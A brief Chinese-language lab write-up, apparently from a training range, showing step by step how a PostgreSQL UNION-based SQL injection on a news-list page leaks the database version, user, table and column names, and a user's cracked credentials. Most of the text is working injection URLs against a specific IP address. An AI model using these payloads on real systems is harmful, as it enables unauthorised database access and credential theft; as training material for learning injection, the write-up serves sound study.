首先打开靶场
1.判断是否存在布尔型SQL注入 http://124.70.71.251:47245/new_list.php?id=1 and 1=2
发现页面不正常显示,表示存在漏洞
2.判断页面连接的服务器数据库表有多少字段(列)
http://124.70.71.251:47245/new_list.php?id=1 order by 1
http://124.70.71.251:47245/new_list.php?id=1 order by 2
http://124.70.71.251:47245/new_list.php?id=1 order by 3
http://124.70.71.251:47245/new_list.php?id=1 order by 4
http://124.70.71.251:47245/new_list.php?id=1 order by 5 页面报错,说明有4个字段
3.判断哪些字段会爆出数字
http://124.70.71.251:47245/new_list.php?id=1 union select '1','2','3','4' //注意mysql与PostgreSQL的区别
发现爆出2、3字段,说明2、3字段可以执行语句
version() 显示数据库版本
current_user 显示数据库当前用户
current_database() 显示数据库名
124.70.71.251:47245/new_list.php?id=1 union select '1',version(),'3','4'
124.70.71.251:47245/new_list.php?id=1 union select '1',version(),current_user,'4'
124.70.71.251:47245/new_list.php?id=1 union select '1',current_database(),current_user,'4'
数据库版本,数据库名,当前用户权限全部爆出
4.猜解数据库中的表名
124.70.71.251:47245/new_list.php?id=1 union select '1',string_agg(tablename,','),'3','4' from pg_tables where schemaname='public'
5.猜解reg_users中的列名
124.70.71.251:47245/new_list.php?id=1 union select '1',string_agg(column_name,','),'3','4' from information_schema.columns where table_name='reg_users'
6.拿到name,password
破解密码
破解得到用户名 mozhe2
密码:1qaz2wsx